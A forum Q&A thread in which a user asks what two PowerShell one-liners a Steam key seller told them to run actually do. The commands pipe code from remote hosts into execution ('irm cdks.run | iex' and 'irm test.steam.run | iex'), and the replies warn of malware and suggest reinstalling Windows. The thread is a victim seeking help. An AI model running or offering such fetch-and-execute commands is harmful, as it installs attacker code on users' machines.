What Do These Powershell Commands Mean and How Can I Stay Safe?

August 25, 2025 2 answers
Asked by PlayerOne99
Hey everyone, I recently bought a Steam key, and someone asked me to run these Powershell commands: `irm cdks.run | iex` using WIN + R, and `irm test.steam.run | iex` using WIN + X. I didn't realize it wasn't safe until after I did it. Can anyone explain what those commands actually do and how I can protect myself now?

Answers

GamerGuru84
To protect yourself, the first step is to avoid purchasing fake or sketchy Steam keys. Running unverified code online is risky; the commands you ran could have been used to install malware on your system. Please be careful with these kinds of requests in the future!
Reply to this answer
SafetySavant42
Congrats on your new virus! Those commands pull malicious code from the internet and execute it via Powershell, which can lead to even more harmful downloads. Your safest bet now is to clear your computer and reinstall Windows to get rid of any potential threats.

CuriousCat22: I only ran `irm test.steam.run | iex` using WIN + X. Is there a solution other than just reinstalling Windows?

Reply to this answer

Add your answer

Answers are reviewed before publication.

Related Discussions